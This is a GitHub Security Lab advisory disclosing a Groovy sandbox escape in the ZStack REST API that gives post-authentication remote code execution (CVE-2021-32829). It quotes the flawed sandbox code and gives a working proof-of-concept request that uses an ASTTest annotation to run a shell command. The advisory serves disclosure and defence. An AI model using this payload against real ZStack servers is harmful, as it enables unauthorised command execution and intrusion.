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July 21, 2021

GHSL-2021-065: Post-authentication Remote Code Execution (RCE) in ZStack REST API - CVE-2021-32829

Alvaro Munoz

Coordinated Disclosure Timeline

Summary

ZStack REST API is vulnerable to post-authentication Remote Code Execution (RCE) via bypass of the Groovy shell sandbox

Product

ZStack (https://en.zstack.io/)

Tested Version

3.10.7-c76 (ZStack-x86_64-DVD-3.10.7-c76.iso)

Details

Arbitrary Groovy Script evaluation (GHSL-2021-065)

The REST API exposes the GET zstack/v1/batch-queries?script endpoint which is backed up by the BatchQueryAction class. Messages are represented by the APIBatchQueryMsg, dispatched to the QueryFacadeImpl facade and handled by the BatchQuery class.

The HTTP request parameter script is mapped to the APIBatchQueryMsg.script property and evaluated as a Groovy script in BatchQuery.query

Map<String, Object> query(APIBatchQueryMsg msg) {

  ...
  def cc = new CompilerConfiguration()
  cc.addCompilationCustomizers(new SandboxTransformer())

  def shell = new GroovyShell(new GroovyClassLoader(), binding, cc)
  sandbox.register()
  try {
      Script script = shell.parse(msg.script)
      ZQLContext.putAPISession(msg.session)
      script.run()
      ZQLContext.clean()
      clearAllClassInfo(script.getClass())
  } catch (Throwable t) {
      logger.warn(t.message, t)
      sandbox.unregister()
      throw new OperationFailureException(Platform.operr("${errorLine(msg.script, t)}"))
  } finally {
      sandbox.unregister()
      shell.resetLoadedClasses()
  }
  ...
    
}

As we can see in the code snippet above, the evaluation of the user-controlled Groovy script is sandboxed by SandboxTransformer which will apply the restrictions defined in the registered (sandbox.register()) GroovyInterceptor. This interceptor is declared in the Sandbox class as:

    static class SandBox extends GroovyInterceptor {
        static List<Class> RECEIVER_WHITE_LIST = [
                Number[].class,
                Number.class,
                long[].class,
                long.class,
                int[].class,
                int.class,
                short[].class,
                short.class,
                double[].class,
                double.class,
                float[].class,
                float.class,
                String[].class,
                String.class,
                Date[].class,
                Date.class,
                Map.class,
                Collection.class,
                Script.class,
                Enum[].class,
                Enum.class
        ]

        static void checkReceiver(Object obj) {
            checkReceiver(obj.getClass())
        }

        static void checkReceiver(Class clz) {
            for (Class wclz : RECEIVER_WHITE_LIST) {
                if (wclz.isAssignableFrom(clz)) {
                    return
                }
            }

            throw new Exception("invalid operation on class[${clz.name}]")
        }

        static void checkMethod(String method) {
            if (method == "sleep") {
                throw new Exception("invalid operation[${method}]")
            }
        }

        Object onMethodCall(GroovyInterceptor.Invoker invoker, Object receiver, String method, Object... args) throws Throwable {
            checkReceiver(receiver)
            checkMethod(method)
            return super.onMethodCall(invoker, receiver, method, args)
        }

        Object onStaticCall(GroovyInterceptor.Invoker invoker, Class receiver, String method, Object... args) throws Throwable {
            checkReceiver(receiver)
            checkMethod(method)
            return super.onStaticCall(invoker, receiver, method, args)
        }

        Object onNewInstance(GroovyInterceptor.Invoker invoker, Class receiver, Object... args) throws Throwable {
            checkReceiver(receiver)
            return invoker.call(receiver, (String)null, (Object[])args);
        }

        Object onSuperCall(GroovyInterceptor.Invoker invoker, Class senderType, Object receiver, String method, Object... args) throws Throwable {
            checkReceiver(receiver)
            return invoker.call(new Super(senderType, receiver), method, (Object[])args);
        }

        void onSuperConstructor(GroovyInterceptor.Invoker invoker, Class receiver, Object... args) throws Throwable {
            checkReceiver(receiver)
            this.onNewInstance(invoker, receiver, args);
        }

        Object onGetProperty(GroovyInterceptor.Invoker invoker, Object receiver, String property) throws Throwable {
            checkReceiver(receiver)
            return invoker.call(receiver, property);
        }

        Object onSetProperty(GroovyInterceptor.Invoker invoker, Object receiver, String property, Object value) throws Throwable {
            checkReceiver(receiver)
            return invoker.call(receiver, property, value);
        }

        Object onGetAttribute(GroovyInterceptor.Invoker invoker, Object receiver, String attribute) throws Throwable {
            checkReceiver(receiver)
            return invoker.call(receiver, attribute);
        }

        Object onSetAttribute(GroovyInterceptor.Invoker invoker, Object receiver, String attribute, Object value) throws Throwable {
            checkReceiver(receiver)
            return invoker.call(receiver, attribute, value);
        }

        Object onGetArray(GroovyInterceptor.Invoker invoker, Object receiver, Object index) throws Throwable {
            checkReceiver(receiver)
            return invoker.call(receiver, (String)null, (Object)index);
        }

        Object onSetArray(GroovyInterceptor.Invoker invoker, Object receiver, Object index, Object value) throws Throwable {
            checkReceiver(receiver)
            return invoker.call(receiver, (String)null, index, value);
        }
    }

Even though the sandbox heavily restricts the receiver types to a small set of allowed types, the sandbox is non effective at controlling any code placed in Java annotations and therefore vulnerable to meta-programming escapes as defined in this blog post.

Impact

This issue leads to post-authenticated remote code execution.

Resources

Reproduction steps:

  1. Authenticate as any non-privileged user or system admin
    PUT http://192.168.78.132:8080/zstack/v1/accounts/login
    {
     "logInByAccount": {
         "password": "b109f3bbbc244eb82441917ed06d618b9008dd09b3befd1b5e07394c706a8bb980b1d7785e5976ec049b46df5f1326af5a2ea6d103fd07c95385ffab0cacbc86",
         "accountName": "admin"
     }
    }
    

Response

# {"inventory":{"uuid":"901c1c7c58534883a6cd3330104d0e18","accountUuid":"36c27e8ff05c4780bf6d2fa65700f22e","userUuid":"36c27e8ff05c4780bf6d2fa65700f22e","expiredDate":"Apr 8, 2021 9:36:15 PM","createDate":"Apr 8, 2021 7:36:15 PM","noSessionEvaluation":false}}
  1. Send a PoC exploit which creates a /tmp/pwned file (does not require “SystemAdmin” account)
GET http://192.168.78.132:8080/zstack/v1/batch-queries?script=@groovy.transform.ASTTest(value=%7Bassert%20java.lang.Runtime.getRuntime().exec(%22touch%20/tmp/pwned%22)%7D)%20def%20x
Authorization: OAuth e89f1e6f5b3c4031b44a8392acde19dc

Response

status code: 503
Set-Cookie: JSESSIONID=7E525CEEDD417C0627F1188E1A739984; Path=/zstack; HttpOnly
Content-Length: 472
Date: Thu, 08 Apr 2021 11:47:59 GMT
Connection: close

{"error":{"code":"SYS.1006","description":"An operation failed","details":"No signature of method: Script1.ssert() is applicable for argument types: (java.lang.UNIXProcess) values: [java.lang.UNIXProcess@4a856d2]\nPossible solutions: every(), grep(), use([Ljava.lang.Object;), every(groovy.lang.Closure), sleep(long), split(groovy.lang.Closure), error at line 0: @groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"touch /tmp/pwned2\")}) def x"}}

Even though, we get an Internal Error response (503), the output of the error already hints us that the process was executed ([java.lang.UNIXProcess@4a856d2]]) and if we check the /tmp directory, a pwned file should have been created.

CVE

Resources

Credit

This issue was discovered and reported by GHSL team member @pwntester (Alvaro Muñoz).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2021-065 in any communication regarding this issue.